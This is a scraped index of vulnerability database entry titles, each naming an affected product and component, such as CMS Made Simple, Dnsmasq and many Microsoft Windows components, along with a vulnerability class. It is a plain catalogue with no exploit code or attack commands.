[119256] joyplus-cms 1.6.0 manager/index.php sql injection
[119198] simplehttpserver on Node.js cross site scripting
[119101] http_static_simple on Node.js URL directory traversal
[119068] Dns-sync on Node.js resolve privilege escalation
[119052] node-simple-router on Node.js URL directory traversal
[118923] gomeplus-h5-proxy on Node.js directory traversal
[118438] jwt-simple up to 0.3.0 on Node.js jwt.decode weak encryption
[118083] Wireshark up to 2.6.0 DNS Dissector packet-dns.c denial of service
[117892] Node.js 6.x DNS DNS Rebinding 7PK Security Features
[117186] CMS Made Simple up to 2.2.7 action.ajax_get_templates.php information disclosure
[117185] CMS Made Simple up to 2.2.7 Admin Dashboard file_get_contents information disclosure
[117184] CMS Made Simple up to 2.2.7 Admin Dashboard config.php privilege escalation
[117183] CMS Made Simple up to 2.2.7 Admin Dashboard lib/ privilege escalation
[117182] CMS Made Simple up to 2.2.7 tmp/ privilege escalation
[117181] CMS Made Simple up to 2.2.7 Admin Dashboard lib/ privilege escalation
[117180] CMS Made Simple up to 2.2.7 Admin Dashboard privilege escalation
[117179] CMS Made Simple up to 2.2.7 Admin Dashboard config.php information disclosure
[117178] CMS Made Simple up to 2.2.7 Admin Dashboard privilege escalation
[117010] tinysvcmdns Library 2016-07-18 memory corruption
[116985] Simple Machines Forum up to 2.0.14 Access Restriction PersonalMessage.php MessageSearch2 privilege escalation
[116982] CMS Made Simple 2.2.7 admin/checksum.php directory traversal
[116190] joyplus-cms 1.6.0 admin_ajax.php cross site scripting
[116188] CMS Made Simple up to 2.2.7 Dashboard eval privilege escalation
[116187] CMS Made Simple up to 2.2.6 class.LoginOperations.php get_data privilege escalation
[116186] CMS Made Simple up to 2.2.6 weak encryption
[116185] CMS Made Simple up to 2.2.7 filepicker directory traversal
[116184] CMS Made Simple up to 2.2.7 /index.php Path information disclosure
[116183] CMS Made Simple up to 2.2.6 Password Reset privilege escalation
[116180] joyplus-cms 1.6.0 manager/admin_vod.php cross site scripting
[116107] CMS Made Simple 2.2.7 admin/siteprefs.php Stored cross site scripting
[116106] CMS Made Simple 2.2.7 moduleinterface.php Reflected cross site scripting
[116105] CMS Made Simple 2.2.7 moduleinterface.php cross site request forgery
[116104] CMS Made Simple 2.2.7 admin/siteprefs.php cross site request forgery
[116103] CMS Made Simple 2.2.7 moduleinterface.php Reflected cross site scripting
[116102] joyplus-cms 1.6.0 install/ information disclosure
[115512] GetSimple CMS 3.3.13 uploadify.swf cross site scripting
[115284] GNU binutils 2.29/2.30 cplus-dem.c denial of service
[114753] joyplus-cms 1.6.0 admin_ajax.php cross site scripting
[114752] joyplus-cms 1.6.0 File Upload upload.php privilege escalation
[114712] UnboundID LDAP SDK Access Control SimpleBindRequest privilege escalation
[114630] joyplus-cms 1.6.0 admin_ajax.php cross site request forgery
[114585] Pradeep Makone Support Plus Responsive Ticket System up to 9.0.2 on WordPress Cookie sql injection
[114447] CMS Made Simple 2.2.5 cross site request forgery
[114393] CMS Made Simple 2.2.5 File Manager privilege escalation
[114367] CMS Made Simple 2.2.6 moduleinterface.php cross site scripting
[114363] CMS Made Simple 2.2.6 moduleinterface.php Stored cross site scripting
[114106] Kubik-Rubik Simple Image Gallery Extended 3.2.3 on Joomla JPEG File sige.php htmlImageAddTitleAttribute cross site scripting
[113983] F5 BIG-IP up to 11.6.1/11.6.2/12.1.3.1/13.0.0 TCP DNS Profile Hanlder denial of service
[113840] CMS Made Simple 2.1.6 Installation index.php privilege escalation
[113518] SimpleCalendar 3.1.9 on Joomla sql injection
[112444] CMS Made Simple 2.2.5 moduleinterface.php cross site scripting
[112443] CMS Made Simple 2.2.5 moduleinterface.php cross site scripting
[112442] CMS Made Simple 2.2.5 admin/addbookmark.php cross site scripting
[112337] Dnsmasq 2.78 DNSSEC privilege escalation
[112335] PowerDNS Recursor up to 4.0.6 DNSSEC Parser denial of service
[112334] PowerDNS Recursor up to <=3.7.4 API privilege escalation
[112333] PowerDNS Recursor up to 4.0.6 Web Interface cross site scripting
[112332] PowerDNS Authoritative Server up to <=3.4.11 API privilege escalation
[112331] PowerDNS Recursor up to 4.0.6 DNSSEC Validator weak authentication
[112287] PowerDNS 4.1.0 DNSSEC Validator privilege escalation
[112241] tinysvcmdns Library 2017-11-05 DNS Query denial of service
[111747] TP-LINK WVR/WAR/ER phddns.lua privilege escalation
[111744] TP-LINK WVR/WAR/ER cmxddns.lua privilege escalation
[111382] Simple Download Monitor Plugin up to 3.5.3 on WordPress wp-admin/post.php cross site scripting
[111381] Simple Download Monitor Plugin up to 3.5.3 on WordPress wp-admin/post.php cross site scripting
[111256] CMS Made Simple 2.1.6/2.2 Smarty Template privilege escalation
[110779] CMS Made Simple up to 2.2.4 Login Cache information disclosure
[110778] CMS Made Simple up to 2.2.4 Login Cache information disclosure
[110772] DeDeCMS up to 5.7 plus/recommend.php sql injection
[110771] DeDeCMS up to 5.7 plus/flink_add.php sql injection
[110598] Simple Chatting System 1.0 File Upload view/my_profile.php privilege escalation
[110119] sDNSProxy.exe up to ver1.1.0.0 privilege escalation
[109662] UpdraftPlus Plugin up to 1.13.12 on WordPress admin.php plupload_action privilege escalation
[109661] UpdraftPlus Plugin up to 1.13.12 on WordPress admin.php updraft_ajax_handler privilege escalation
[109296] CMS Made Simple 2.2.3.1 action.addcategory.php Stored cross site scripting
[109295] CMS Made Simple 2.2.3.1 Access Restriction action.upload.php is_file_acceptable cross site scripting
[109286] CMS Made Simple 2.2.2 Reflected cross site scripting
[109285] CMS Made Simple 2.1.6 Template privilege escalation
[108728] Simple ASC Content Management System 1.2 guestbook.asp sign cross site scripting
[107744] Microsoft Windows up to Server 2016 DNSAPI DNSAPI.dll privilege escalation
[107417] Dnsmasq up to 2.77 DNS Response memory corruption
[107358] Dnsmasq up to 2.77 DNS Request add_pseudoheader memory corruption
[107357] Dnsmasq up to 2.77 DNS Response denial of service
[107356] Dnsmasq up to 2.77 DHCPv6 Forwarded Request Memory information disclosure
[107355] Dnsmasq up to 2.77 DHCPv6 Request memory corruption
[107354] Dnsmasq up to 2.77 IPv6 Router Advertisement memory corruption
[107351] Dnsmasq up to 2.77 DNS Packet Size privilege escalation
[107212] TeamWork TicketPlus updateProfile privilege escalation
[107180] Simple Student Result Plugin up to 1.6.3 on WordPress functions.php fn_ssr_add_st_submit weak authentication
[106895] Simple Ads Manager Plugin 2.5.94/2.5.96 on WordPress information disclosure
[106880] YADIFA up to 2.2.5 DNS Packet Parser denial of service
[106610] tcpdump up to 4.9.1 DNS Parser print-domain.c ns_print denial of service
[106302] FFmpeg 3.3.3 libavformat/asfdec_f.c asf_build_simple_index denial of service
[106176] GNU C Library up to 2.25 DNS Stub Resolver Data Processing Error
[106155] simple-php-captcha information disclosure
[106141] ConnMan Project Connection Manager Daemon up to 1.34 DNS Packet memory corruption
[106051] RubyGems up to 2.6.12 GEM Install DNS privilege escalation
[104733] GNU C Library up to 2.25 EDNS Support Data Processing Error
[104383] Palo Alto PAN-OS up to 6.1.17/7.0.15/7.1.10/8.0.2 DNS Proxy privilege escalation
[103714] CMS Made Simple 2.2.2 moduleinterface.php. privilege escalation
[103713] CMS Made Simple 2.2.2 moduleinterface.php. privilege escalation
[103619] GetSimple CMS up to 3.3.13 /admin/index.php Reflected cross site scripting
[102906] GetSimple CMS 3.x Profile admin/profile.php cross site scripting
[102648] CMS Made Simple 2.1.6 XSS Filter admin\addgroup.php cross site scripting
[102584] Financial Plus Mobile Banking App 3.0.3 on iOS X.509 Certificate weak authentication
[102542] Rockwell Automation PanelVie		N/A
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[176500] Microsoft Windows 7 SP1 up to Server 2019 Kerberos AppContainer unknown vulnerability
[103429] Microsoft Windows up to Server 2016 Kerberos privilege escalation
[103420] Microsoft Windows up to Server 2016 Kerberos weak authentication
[90709] Microsoft Windows up to Vista SP2 Kerberos privilege escalation
[88644] Microsoft Windows 2000 Active Directory Kerberos Ticket Logging privilege escalation
[68239] Microsoft Windows up to Vista Kerberos KDC EsikmoRoll privilege escalation
[16822] Microsoft Windows 2000 Kerberos denial of service
[6627] Microsoft Windows 7/Server 2008 R2 Kerberos denial of service
[4295] Microsoft Windows 7/Server 2008 Kerberos weak authentication
[4293] Microsoft Windows Server 2003/XP Kerberos CRC32 Checksum weak encryption
[1691] Microsoft Windows 2000/Server 2003/XP Kerberos memory corruption
[1690] Microsoft Windows 2000/Server 2003/XP Kerberos denial of service
[176522] Microsoft Windows 7 SP1 up to Server 2019 MSHTML Platform unknown vulnerability
[176520] Microsoft Windows 10 20H2 up to Server 2004 DWM Core Library unknown vulnerability
[176515] Microsoft Windows 10 up to Server 2019 Hyper-V denial of service
[176514] Microsoft Windows 8.1 up to Server 2019 Server for NFS information disclosure
[176513] Microsoft Windows 8.1 up to Server 2019 Server for NFS information disclosure
[176512] Microsoft Windows 8.1 up to Server 2019 NFS denial of service
[176511] Microsoft Windows 7 SP1 up to Server 2019 GPSVC unknown vulnerability
[176510] Microsoft Windows 7 SP1 up to Server 2019 Event Tracing information disclosure
[176509] Microsoft Windows 7 SP1 up to Server 2019 HTML Platform unknown vulnerability
[176508] Microsoft Windows 8.1 up to Server 2019 TCP/IP Driver denial of service
[176507] Microsoft Windows 10 20H2 up to Server 2019 Cloud Files Mini Filter Driver unknown vulnerability
[176506] Microsoft Windows 7 SP1 up to Server 2019 Remote Desktop Services denial of service
[176499] Microsoft Windows 10 20H2/10 21H1/10 2004/Server 20H2/Server 2004 Bind Filter Driver information disclosure
[176498] Microsoft Windows 7 SP1 up to Server 2019 Scripting Engine unknown vulnerability
[176497] Microsoft Windows 7 SP1 up to Server 2019 NTLM unknown vulnerability
[176495] Microsoft Windows 7 SP1 up to Server 2019 NTFS unknown vulnerability
[176494] Microsoft Windows 10 20H2 up to Server 2004 Kernel information disclosure
[176493] Microsoft Windows 7 SP1 up to Server 2019 Common Log File System Driver unknown vulnerability
[176492] Microsoft Windows 7 SP1 up to Server 2019 Filter Manager unknown vulnerability
[176491] Microsoft Windows 10 20H2 up to Server 2019 Kernel-Mode Driver unknown vulnerability
[176490] Microsoft Windows 10 20H2 up to Server 2019 Kernel unknown vulnerability
[176477] Microsoft Windows 7 SP1 up to Server 2019 Enhanced Cryptographic Provider unknown vulnerability
[176474] Microsoft Windows 7 SP1 up to Server 2019 DCOM Server unknown vulnerability
[174874] Microsoft Windows 7 SP1 up to Server 2019 Wireless Networking unknown vulnerability
[174873] Microsoft Windows 7 SP1 up to Server 2019 Wireless Networking information disclosure
[174871] Microsoft Windows 7 SP1 up to Server 2019 Wireless Networking unknown vulnerability
[174870] Microsoft Windows 7 SP1 up to Server 2019 unknown vulnerability
[174868] Microsoft Windows 8.1 up to Server 2019 CSC Service information disclosure
[174866] Microsoft Windows 10 20H2/10 2004/Server 20H2/Server 2004 Container Manager Service unknown vulnerability
[174865] Microsoft Windows 10 20H2/10 2004/Server 20H2/Server 2004 HTTP Protocol Stack unknown vulnerability
[174864] Microsoft Windows 10 20H2 up to Server 2019 Container Manager Service unknown vulnerability
[174863] Microsoft Windows 10 20H2/10 2004/Server 20H2/Server 2004 Container Manager Service unknown vulnerability
[174862] Microsoft Windows 10 20H2/10 2004/Server 20H2/Server 2004 Container Manager Service unknown vulnerability
[174861] Microsoft Windows 10 20H2 up to Server 2019 Graphics unknown vulnerability
[174849] Microsoft Windows 7 SP1 up to Server 2019 Bluetooth Driver unknown vulnerability
[174848] Microsoft Windows 7 SP1 up to Server 2019 Infrared Data Association information disclosure
[174847] Microsoft Windows 10 20H2/10 2004/Server 20H2/Server 2004 Desktop Bridge denial of service
[174846] Microsoft Windows 7 SP1 up to Server 2019 RDP information disclosure
[174845] Microsoft Windows 10 20H2 up to 10 2004 WalletService unknown vulnerability
[174844] Microsoft Windows 7 SP1 up to Server 2019 Graphics unknown vulnerability
[174843] Microsoft Windows 10 1809/Server 2019 Container Isolation FS Filter Driver unknown vulnerability
[174842] Microsoft Windows 10 20H2 up to Server 2019 Projected File System FS Filter Driver information disclosure
[174841] Microsoft Windows 10 20H2/10 2004/Server 20H2/Server 2004 Media Foundation Core unknown vulnerability
[174840] Microsoft Windows 7 SP1 up to Server 2019 on SSDP Service unknown vulnerability
[174839] Microsoft Windows 7 SP1 up to Server 2019 OLE Automation unknown vulnerability
[174835] Microsoft Windows 10 20H2/10 2004/Server 20H2/Server 2004 SMB Client Security Feature unknown vulnerability
[174824] Microsoft Windows 7 SP1 up to Server 2019 Hyper-V VmsIfrInfoParams_OID_SWITCH_NIC_REQUEST unknown vulnerability
[172949] Microsoft Windows 10 up to Server 2019 Media Photo Codec information disclosure
[172947] Microsoft Windows 7 SP1 up to Server 2019 Internet Messaging API unknown vulnerability
[172941] Microsoft Windows 7 SP1 up to Server 2019 Media Video Decoder unknown vulnerability
[172937] Microsoft Windows 10 20H2 up to Server 2019 Hyper-V denial of service
[172933] Microsoft Windows 10 20H2 up to Server 2019 Application Compatibility Cache denial of service
[172929] Microsoft Windows 7 SP1 up to Server 2019 Media Video Decoder unknown vulnerability
[172925] Microsoft Windows 10 20H2 up to Server 2019 TCP/IP Driver denial of service
[172921] Microsoft Windows 7 SP1 up to Server 2019 DNS information disclosure
[172920] Microsoft Windows 10 20H2/10 2004/Server 20H2/Server 2004 SMB information disclosure
[172919] Microsoft Windows 8.1 up to Server 2019 SMB information disclosure
[172917] Microsoft Windows 7 SP1 up to Server 2019 Remote Procedure Call Runtime unknown vulnerability
[172916] Microsoft Windows 7 SP1 up to Server 2019 DNS information disclosure
[172915] Microsoft Windows 7 SP1 up to Server 2019 Remote Procedure Call Runtime unknown vulnerability
[172914] Microsoft Windows 7 SP1 up to Server 2019 Remote Procedure Call Runtime unknown vulnerability
[172913] Microsoft Windows 7 SP1 up to Server 2019 Remote Procedure Call Runtime unknown vulnerability
[172912] Microsoft Windows 7 SP1 up to Server 2019 on Remote Procedure Call Runtime unknown vulnerability
[172911] Microsoft Windows 7 SP1 up to Server 2019 Remote Procedure Call Runtime unknown vulnerability
[172910] Microsoft Windows 7 SP1 up to Server 2019 Remote Procedure Call Runtime unknown vulnerability
[172909] Microsoft Windows 7 SP1 up to Server 2019 Remote Procedure Call Runtime unknown vulnerability
[172908] Microsoft Windows 7 SP1 up to Server 2019 Remote Procedure Call Runtime unknown vulnerability
[172907] Microsoft Windows 7 SP1 up to Server 2019 Remote Procedure Call Runtime unknown vulnerability
[172906] Microsoft Windows 7 SP1 up to Server 2019 Remote Procedure Call Runtime unknown vulnerability
[172905] Microsoft Windows 7 SP1 up to Server 2019 on Remote Procedure Call Runtime unknown vulnerability
[172904] Microsoft Windows 7 SP1 up to Server 2019 Remote Procedure Call Runtime unknown vulnerability
[172903] Microsoft Windows 7 SP1 up to Server 2019 Remote Procedure Call Runtime unknown vulnerability
[172902] Microsoft Windows 7 SP1 up to Server 2019 Remote Procedure Call Runtime unknown vulnerability
[172901] Microsoft Windows 7 SP1 up to Server 2019 Remote Procedure Call Runtime unknown vulnerability
[172900] Microsoft Windows 7 SP1 up to Server 2019 Remote Procedure Call Runtime unknown vulnerability
[172899] Microsoft Windows 8.1 up to Server 2019 Remote Procedure Call Runtime Remote unknown vulnerability
[172898] Microsoft Windows 7 SP1 up to Server 2019 Remote Procedure Call Runtime unknown vulnerability
[172896] Microsoft Windows 7 SP1 up to Server 2019 GDI+ unknown vulnerability
[172895] Microsoft Windows 7 SP1 up to Server 2019 GDI+ unknown vulnerability
[172894] Microsoft Windows 7 SP1 up to Server 2019 GDI+ unknown vulnerability
[172892] Microsoft Windows 7 SP1 up to Server 2019 Remote Procedure Call Runtime unknown vulnerability
[172891] Microsoft Windows 7 SP1 up to Server 2019 Remote Procedure Call Runtime unknown vulnerability
[172890] Microsoft Windows 7 SP1 up to Server 2019 Remote Procedure Call Runtime unknown vulnerability
[172889] Microsoft Windows 7 SP1 up to Server 2019 Remote Procedure Call Runtime unknown vulnerability
[172888] Microsoft Windows 7 SP1 up to Server 2019 Remote Procedure Call Runtime unknown vulnerability
[172887] Microsoft Windows 7 SP1 up to Server 2019 Remote Procedure Call Runtime unknown vulnerability
[172886] Microsoft Windows 7 SP1 up to Server 2019 Remote Procedure Call Runtime unknown vulnerability
[172885] Microsoft Windows 7 SP1 up to Server 2019 Remote Procedure Call Runtime unknown vulnerability
[172880] Microsoft Windows 7 SP1 up to Server 2019 TCP/IP Driver denial of service
[172877] Microsoft Windows 10 20H2 up to Server 2019 TCP/IP information disclosure
[172875] Microsoft Windows 8.1 up to Server 2019 Hyper-V unknown vulnerability
[172874] Microsoft Windows 7 SP1 up to Server 2019 Network File System unknown vulnerability
[171012] Microsoft Windows 10 20H2 up to Server 2019 NAT denial of service
[171009] Microsoft Windows 10 20H2 up to Server 2004 Hyper-V unknown vulnerability
[171000] Microsoft Windows Server 20H2 up to Server 2019 DNS Server unknown vulnerability
[170999] Microsoft Windows Server 20H2 up to Server 2019 DNS Server unknown vulnerability
[170998] Microsoft Windows Server 20H2 up to Server 2019 DNS Server unknown vulnerability
[170997] Microsoft Windows Server 20H2 up to Server 2019 DNS Server unknown vulnerability
[170996] Microsoft Windows Server 20H2 up to Server 2019 DNS Server code injection
[170995] Microsoft Windows Server 20H2 up to Server 2019 DNS Server denial of service
[170994] Microsoft Windows Server 20H2 up to Server 2019 DNS Server denial of service
[170990] Microsoft Windows Admin Center unknown vulnerability
[170981] Microsoft Windows 7 SP1 up to Server 2019 Remote Access API privileges management
[170979] Microsoft Windows 10 20H2 up to Server 2019 OpenType Font Parser code injection
[170978] Microsoft Windows 7 SP1 up to Server 2019 Media Foundation unknown vulnerability
[170907] Microsoft Windows 10 20H2 up to Server 2019 Application Virtualization code injection
[170436] Microsoft Windows 8.1 up to Server 2019 Extended Protection for Authentication improper authentication
[169530] Microsoft Windows 7 SP1 up to Server 2019 Trust Verification API denial of service
[169529] Microsoft Windows 7 SP1 up to Server 2019 TCP/IP unknown vulnerability
[169528] Microsoft Windows 7 SP1 up to Server 2019 TCP/IP unknown vulnerability
[169527] Microsoft Windows 7 SP1 up to Server 2019 TCP/IP denial of service
[169526] Microsoft Windows 7 SP1 up to Server 2019 Remote Procedure Call information disclosure
[169525] Microsoft Windows 7 SP1 up to Server 2019 Local Spooler unknown vulnerability
[169524] Microsoft Windows 10 20H2 up to Server 2019 Microsoft.PowerShell.Utility Module protection mechanism
[169521] Microsoft Windows 10 20H2/10 2004/Server 20H2/Server 2004 Network File System denial of service
[169509] Microsoft Windows 7 SP1 up to Server 2019 Address Book unknown vulnerability
[169502] Microsoft Windows 7 SP1 up to Server 2019 Fax Service unknown vulnerability
[169501] Microsoft Windows 7 SP1 up to Server 2019 Fax Service unknown vulnerability
[169499] Microsoft Windows Server 20H2 up to Server 2019 DNS Server unknown vulnerability
[169498] Microsoft Windows 10 up to Server 2019 unknown vulnerability
[169497] Microsoft Windows 10 Version 1809 for 32-bit Systems Codecs Library unknown vulnerability
[169487] Microsoft Windows 10 up to Server 2019 Graphics unknown vulnerability
[167703] Microsoft Windows 7 SP1 up to Server 2019 Update Stack privileges management
[167700] Microsoft Windows 10 up to Server 2019 RDP authorization
[167699] Microsoft Windows 7 SP1 up to Server 2019 RDP Core unknown vulnerability
[167687] Microsoft Windows 7 SP1 up to Server 2019 Graphics information disclosure
[167686] Microsoft Windows 7 SP1 up to Server 2019 GDI+ information disclosure
[167685] Microsoft Windows 7 SP1 up to Server 2019 Fax Compose Form privileges management
[167680] Microsoft Windows 7 SP1 up to Server 2019 CryptoAPI denial of service
[167664] Microsoft Windows 7 SP1 up to Server 2019 RPC Runtime unknown vulnerability
[167663] Microsoft Windows 7 SP1 up to Server 2019 RPC Runtime unknown vulnerability
[167662] Microsoft Windows 7 SP1 up to Server 2019 RPC Runtime unknown vulnerability
[167661] Microsoft Windows 7 SP1 up to Server 2019 RPC Runtime unknown vulnerability
[167660] Microsoft Windows 7 SP1 up to Server 2019 RPC Runtime unknown vulnerability
[167659] Microsoft Windows 7 SP1 up to Server 2019 RPC Runtime unknown vulnerability
[167658] Microsoft Windows 7 SP1 up to Server 2019 RPC Runtime unknown vulnerability
[167657] Microsoft Windows 7 SP1 up to Server 2019 RPC Runtime unknown vulnerability
[167656] Microsoft Windows 7 SP1 up to Server 2019 RPC Runtime unknown vulnerability
[167655] Microsoft Windows 8.1 up to Server 2019 NTLM unknown vulnerability
[167651] Microsoft Windows 7 SP1 up to Server 2019 Media Foundation unknown vulnerability
[167638] Microsoft Windows 7 SP1 up to Server 2019 DTV-DVD Video Decoder unknown vulnerability
[167637] Microsoft Windows 8.1/10/10 1607/Server 2012 R2/Server 2016 Hyper-V denial of service
[167636] Microsoft Windows 10 20H2 up to Server 2004 Hyper-V denial of service
[167633] Microsoft Windows 7 SP1 up to Server 2019 GDI+ unknown vulnerability
[160963] Microsoft Windows up to Server 2019 Projected Filesystem privilege escalation
[160951] Microsoft Windows up to Server 2019 Kernel memory corruption
[160950] Microsoft OneDrive on Windows privilege escalation
[160949] Microsoft OneDrive on Windows privilege escalation
[160948] Microsoft OneDrive on Windows privilege escalation
[160947] Microsoft Windows up to Server 2019 UPnP Service privilege escalation
[160946] Microsoft Windows up to Server 2019 TLS weak encryption
[160944] Microsoft Windows up to Server 2019 Kernel Improper Initialization
[160943] Microsoft Windows up to Server 2019 Connected User Experiences/Telemetry Service privilege escalation
[160942] Microsoft Windows up to Server 2019 Kernel information disclosure
[160940] Microsoft Windows up to Server 2019 Storage Services privilege escalation
[160939] Microsoft Windows up to Server 2004 InstallService privilege escalation
[160936] Microsoft Windows up to Server 2019 Microsoft COM for Windows privilege escalation
[160932] Microsoft Windows up to Server 2019 CloudExperienceHost privilege escalation
[160930] Microsoft Windows up to Server 2019 fdSSDP.dll privilege escalation
[160925] Microsoft Windows up to Server 2019 DirectX privilege escalation
[160924] Microsoft Windows up to Server 2019 Windows Runtime privilege escalation
[160923] Microsoft Windows up to Server 2019 GDI information disclosure
[160922] Microsoft Windows up to Server 2019 Win32k information disclosure
[160921] Microsoft Windows up to Server 2019 Win32k privilege escalation
[160920] Microsoft Windows up to Server 2019 DNS denial of service
[160912] Microsoft Windows up to Server 2019 Windows Runtime privilege escalation
[160911] Microsoft Windows up to Server 2004 StartTileData.dll privilege escalation
[160910] Microsoft Windows up to Server 2019 Win32k.sys privilege escalation
[160909] Microsoft Windows up to Server 2019 Store Runtime privilege escalation
[160908] Microsoft Windows up to Server 2019 Diagnostics Hub Standard Collector privilege escalation
[160907] Microsoft Windows up to Server 2019 Diagnostics Hub Standard Collector privilege escalation
[160906] Microsoft Windows up to Server 2019 Language Pack Installer privilege escalation
[160905] Microsoft Windows up to Server 2004 StartTileData.dll information disclosure
[160904] Microsoft Windows up to Server 2019 Common Log File System Driver privilege escalation
[160903] Microsoft Windows 10 2004 Shell Infrastructure privilege escalation
[160902] Microsoft Windows up to Server 2019 GDI Dynamically-Managed Code Resources
[160901] Microsoft Windows up to Server 2019 Graphics Component Dynamically-Managed Code Resources
[160900] Microsoft Windows up to Server 2019 Graphics Component memory corruption
[160899] Microsoft Windows up to Server 2019 JET Database Engine memory corruption
[160898] Microsoft Windows up to Server 2019 DirectX privilege escalation
[160895] Microsoft Windows up to Server 2019 JET Database Engine memory corruption
[160894] Microsoft Windows up to Server 2019 Routing Utilities denial of service
[160892] Microsoft Windows up to Server 2019 Kernel information disclosure
[160891] Microsoft Windows up to Server 2019 DHCP Server information disclosure
[160890] Microsoft Windows up to Server 2019 Print Spooler privilege escalation
[160889] Microsoft Windows up to Server 2019 Group Policy privilege escalation
[160886] Microsoft Windows up to Server 2019 Mobile Device Management privilege escalation
[160883] Microsoft Windows up to Server 2019 Kernel information disclosure
[160882] Microsoft Windows up to Server 2019 Graphics Component information disclosure
[160881] Microsoft Windows up to Server 2019 State Repository Service information disclosure
[160880] Microsoft Windows up to Server 2019 Function Discovery SSDP Provider privilege escalation
[160879] Microsoft Windows up to Server 2019 Modules Installer privilege escalation
[160876] Microsoft Windows up to Server 2019 Storage Services privilege escalation
[160874] Microsoft Windows up to Server 2019 Shell Infrastructure memory corruption
[160873] Microsoft Windows up to Server 2019 Active Directory integrated DNS information disclosure
[160871] Microsoft Windows up to Server 2019 NTFS privilege escalation
[160870] Microsoft Windows up to Server 2019 Active Directory Federation Service 2FA weak authentication
[160869] Microsoft Windows up to Server 2019 DNS privilege escalation
[160868] Microsoft Windows 10 2004/Server 2004 Projected Filesystem privilege escalation
[160866] Microsoft Windows up to Server 2019 Cryptographic Catalog Service privilege escalation
[160865] Microsoft Windows up to Server 2019 Store Runtime privilege escalation
[160864] Microsoft Windows up to Server 2019 Active Directory integrated DNS privilege escalation
[160863] Microsoft Windows up to Server 2019 Active Directory integrated DNS memory corruption
[160862] Microsoft Windows up to Server 2019 Active Directory integrated DNS information disclosure
[160861] Microsoft Windows up to Server 2019 RSoP Service Application privilege escalation
[160855] Microsoft Windows up to Server 2019 Media Audio Decoder memory corruption
[160853] Microsoft Windows up to Server 2019 Media Audio Decoder privilege escalation
[160849] Microsoft Windows up to Server 2019 Codecs Library memory corruption
[160848] Microsoft Windows up to Server 2019 GDI+ memory corruption
[160847] Microsoft Windows up to Server 2019 memory corruption
[160843] Microsoft Windows up to Server 2019 Codecs Library memory corruption
[160841] Microsoft Windows up to Server 2019 Camera Codec Pack memory corruption
[160840] Microsoft Windows up to Server 2019 Microsoft COM for Windows memory corruption
[160839] Microsoft Windows up to Server 2019 Text Service Module memory corruption
[159610] Microsoft Windows up to Server 2019 Speech Runtime privilege escalation
[159608] Microsoft Windows up to Server 2019 File Server Resource Management Service privilege escalation
[159604] Microsoft Windows up to Server 2019 Storage Service privilege escalation
[159601] Microsoft Windows up to Server 2019 Speech Shell privilege escalation
[159600] Microsoft Windows up to Server 2019 UPnP Device Host privilege escalation
[159597] Microsoft Windows up to Server 2019 File Server Resource Management Service privilege escalation
[159595] Microsoft Windows up to Server 2019 JET Database Engine memory corruption
[159594] Microsoft Windows up to Server 2019 Windows Runtime memory corruption
[159593] Microsoft Windows up to Server 2019 Work Folders Service privilege escalation
[159592] Microsoft Windows up to Server 2019 CSC Service privilege escalation
[159591] Microsoft Windows up to Server 2019 Work Folder Service memory corruption
[159590] Microsoft Windows up to RT 8.1 Backup Engine privilege escalation
[159589] Microsoft Windows up to Server 2019 State Repository Service information disclosure
[159588] Microsoft Windows up to Server 2019 CDP User memory corruption
[159587] Microsoft Windows up to Server 2019 Work Folders Service privilege escalation
[159585] Microsoft Windows up to Server 2019 Connected User Experiences/Telemetry Service privilege escalation
[159584] Microsoft Windows up to Server 2019 WaasMedic Service information disclosure
[159583] Microsoft Windows up to RT 8.1 Backup Engine privilege escalation
[159582] Microsoft Windows up to Server 2019 Local Security Authority Subsystem Service privilege escalation
[159581] Microsoft Windows up to RT 8.1 Backup Engine privilege escalation
[159580] Microsoft Windows Remote Desktop Gateway privilege escalation
[159579] Microsoft Windows up to RT 8.1 Backup Engine privilege escalation
[159574] Microsoft Windows up to RT 8.1 Backup Engine privilege escalation
[159573] Microsoft Windows up to RT 8.1 Backup Engine privilege escalation
[159572] Microsoft Windows up to RT 8.1 Backup Engine privilege escalation
[159571] Microsoft Windows up to Server 2019 UPnP Device Host memory corruption
[159570] Microsoft Windows up to RT 8.1 Backup Engine privilege escalation
[159568] Microsoft Windows up to Server 2019 CSC Service privilege escalation
[159567] Microsoft Windows up to Server 2019 GDI memory corruption
[159566] Microsoft Windows up to Server 2019 Remote Access memory corruption
[159564] Microsoft Windows up to Server 2019 AppX Deployment Extension privilege escalation
[159563] Microsoft Windows up to Server 2019 Custom Protocol Engine memory corruption
[159562] Microsoft Windows up to RT 8.1 Backup Engine privilege escalation
[159561] Microsoft Windows up to Server 2019 Kernel information disclosure
[159560] Microsoft Windows up to RT 8.1 Backup Engine privilege escalation
[159558] Microsoft Windows up to Server 2019 Kernel privilege escalation
[159557] Microsoft Windows up to Server 2019 Font Driver Host memory corruption
[159556] Microsoft Windows up to Server 2019 Speech Runtime privilege escalation
[159555] Microsoft Windows up to Server 2019 Backup Service privilege escalation
[159554] Microsoft Windows up to RT 8.1 Backup Engine privilege escalation
[159553] Microsoft Windows up to Server 2019 Telephony Server privilege escalation
[159552] Microsoft Windows up to Server 2019 CDP User memory corruption
[159550] Microsoft Windows up to Server 2019 JET Database Engine memory corruption
[159548] Microsoft Windows up to Server 2019 Backup Engine privilege escalation
[159545] Microsoft Windows up to Server 2019 GDI privilege escalation
[159543] Microsoft Windows up to Server 2019 Kernel memory corruption
[159542] Microsoft Windows up to Server 2019 Hard Link privilege escalation
[159541] Microsoft Windows up to Server 2019 Remote Access memory corruption
[159540] Microsoft Windows up to Server 2019 JET Database Engine memory corruption
[159539] Microsoft Windows up to Server 2019 Radio Manager API memory corruption
[159537] Microsoft Windows up to Server 2019 Accounts Control memory corruption
[159534] Microsoft Windows up to Server 2019 Graphics Component memory corruption
[159531] Microsoft Windows up to Server 2019 Graphics Component memory corruption
[159530] Microsoft Windows up to Server 2019 Media Foundation information disclosure
[159529] Microsoft Windows up to Server 2019 Network Connection Broker privilege escalation
[159528] Microsoft Windows up to Server 2019 Ancillary Function Driver for WinSock privilege escalation
[159526] Microsoft Windows up to Server 2019 Public Account Pictures Folder privilege escalation
[159524] Microsoft Windows up to Server 2019 Win32k information disclosure
[159523] Microsoft Windows up to Server 2019 Media Foundation memory corruption
[159522] Microsoft Windows up to Server 2019 DirectWrite information disclosure
[159521] Microsoft Windows up to Server 2019 SSDP Provider privilege escalation
[159518] Microsoft Windows up to Server 2019 JET Database Engine memory corruption
[159517] Microsoft Windows up to Server 2019 Work Folders Service privilege escalation
[159513] Microsoft Windows up to Server 2019 DirectX privilege escalation
[159512] Microsoft Windows up to Server 2019 Kernel privilege escalation
[159509] Microsoft Windows 10 1909/10 2004 Codecs Library memory corruption
